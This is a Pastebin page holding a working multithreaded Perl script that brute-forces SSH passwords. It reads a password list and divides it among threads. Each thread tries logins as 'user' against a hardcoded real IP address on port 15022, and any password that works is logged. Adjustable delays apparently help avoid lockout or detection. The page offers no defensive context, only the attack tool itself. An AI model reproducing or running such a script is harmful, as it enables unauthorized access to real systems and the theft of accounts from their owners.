Advertisement
Guest User

Untitled

a guest
Jan 11th, 2016
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.91 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use warnings;
  5. use Net::SSH2;
  6.  
  7. use Log::Log4perl;
  8. use threads;
  9.  
  10. # Initialize Logger
  11. my $log_conf = q(
  12. log4perl.rootLogger = DEBUG, LOG1
  13. log4perl.appender.LOG1 = Log::Log4perl::Appender::File
  14. log4perl.appender.LOG1.filename = mylog.log
  15. log4perl.appender.LOG1.mode = append
  16. log4perl.appender.LOG1.layout = Log::Log4perl::Layout::PatternLayout
  17. log4perl.appender.LOG1.layout.ConversionPattern = %d %p %m %n
  18. );
  19. Log::Log4perl::init(\$log_conf);
  20. my $logger = Log::Log4perl->get_logger();
  21. $logger->info("Starting Script !!");
  22.  
  23. my ($numOfThreads, $delayToStart, $delayToConnect) = @ARGV;
  24.  
  25. if (not defined $numOfThreads)
  26. {
  27. $numOfThreads=2;
  28. }
  29.  
  30. if (not defined $delayToStart)
  31. {
  32. $delayToStart=0;
  33. }
  34.  
  35. if (not defined $delayToConnect)
  36. {
  37. $delayToConnect=0;
  38. }
  39.  
  40. my $host = "149.156.104.27";
  41. my $user = "user";
  42. my $passwordsFile = "passwords.txt";
  43.  
  44. sleep($delayToStart);
  45.  
  46. my @passwords = readPasswords($passwordsFile);
  47. my @threads = initializeThreads($numOfThreads,@passwords);
  48.  
  49. $_->join for @threads;
  50.  
  51. sub tryConnect
  52. {
  53. my ($host, $user, $password) = @_;
  54.  
  55. print "Connecting to: ".$host."\n";
  56. my $ssh = Net::SSH2->new();
  57. $ssh->connect($host,15022) or $logger->info("Unable to Connect $_") and return;
  58. if($ssh->auth(username =>$user, password =>$password))
  59. {
  60. print "Connected\n";
  61. $logger->info("\n\nSUCCESS! USER: $user PASSWORD: $password\n\n");
  62. }
  63. else
  64. {
  65. print "Couldn't log in $user $password \n" ;
  66. $logger->info("Couldn't log in $user $password");
  67. }
  68. $ssh->disconnect();
  69. }
  70.  
  71. sub readPasswords
  72. {
  73. my ($filename) = @_;
  74. my @passwords;
  75. open (my $fh, '<', $filename) or die "Couldn't open a file ";
  76. while (my $row = <$fh>)
  77. {
  78. chomp $row;
  79. push @passwords, $row;
  80. }
  81. return @passwords;
  82. }
  83.  
  84. sub threadProcess
  85. {
  86. my @passwords = @_;
  87. foreach my $pass (@passwords)
  88. {
  89. sleep($delayToConnect);
  90. tryConnect($host,$user,$pass);
  91. }
  92. }
  93.  
  94. sub initializeThreads
  95. {
  96. my ($numOfThreads, @passwords) = @_;
  97.  
  98. my $numOfPasswords = @passwords;
  99. my $passwordsPerThread = int($numOfPasswords/ $numOfThreads);
  100. my $rest = $numOfPasswords % $numOfThreads;
  101. my $restCounter = 0;
  102. my @threads;
  103.  
  104. if($numOfThreads > $numOfPasswords)
  105. {
  106. print "You are trying to run more threads ($numOfThreads) than there are passwords ($numOfPasswords)\n";
  107. print "Number of threads reduced to: $numOfPasswords \n";
  108. $numOfThreads = $numOfPasswords-1;
  109. }
  110.  
  111. for (my $i=0; $i < $numOfThreads; $i++)
  112. {
  113. my $start = $i * $passwordsPerThread + $restCounter;
  114.  
  115. if($rest>0)
  116. {
  117. $rest--;
  118. $restCounter++;
  119. }
  120.  
  121. my $end = ($i+1) * $passwordsPerThread + $restCounter - 1;
  122. print $start, " .. ", $end,"\n";
  123. push @threads, threads->new(\&threadProcess, @passwords[$start .. $end])
  124. }
  125.  
  126. return @threads;
  127. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement